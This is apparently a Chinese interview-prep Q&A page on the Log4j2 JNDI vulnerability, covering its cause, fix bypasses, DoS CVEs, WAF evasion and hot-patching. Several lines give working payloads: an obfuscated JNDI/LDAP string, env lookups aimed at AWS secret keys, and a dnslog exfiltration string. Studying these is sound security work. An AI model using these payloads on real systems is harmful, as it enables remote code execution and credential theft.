Skip to content

Latest commit

 

History

History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

Log4j2

  • 谈谈Log4j2漏洞(★★)

漏洞原理其实不难,简单来说就是对于${jndi:}格式的日志默认执行JndiLoop.lookup导致的RCE。日志的任何一部分插入${}都会进行递归处理,也就是说log.info/error/warn等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣

  • 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★)

修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了LDAP等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续lookup所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE

  • Log4j2的两个DOS CVE了解吗(★★)

其中一个DOS是lookup本身延迟等待和允许多个标签${}导致的问题

另一个DOS是嵌套标签${}导致栈溢出

  • Log4j2 2.15.0正式版的绕过了解吗(★★★)

正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用127.0.0.1#evil.com即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功

  • Log4j2绕WAF的手段有哪些(★★)

使用类似${::-J}的方式做字符串的绕过,还可以结合upperlower标签进行嵌套

有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符

例如:${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}

  • Log4j2除了RCE还有什么利用姿势(★★★)

利用其他的lookup可以做信息泄露例如${env:USER}${env:AWS_SECRET_ACCESS_KEY}

SpringBoot情况下可以使用bundle:application获得数据库密码等敏感信息

这些敏感信息可以利用dnslog外带${jndi:ldap://${java:version}.xxx.dnslog.cn}

  • 不停止运行程序如何修复Log4j2漏洞(★★★)

利用JavaAgent改JVM中的字节码,可以直接删了JndiLookup的功能

有公众号提出类似ShiroKey的思路,利用反射把JndiLookup删了也是一种办法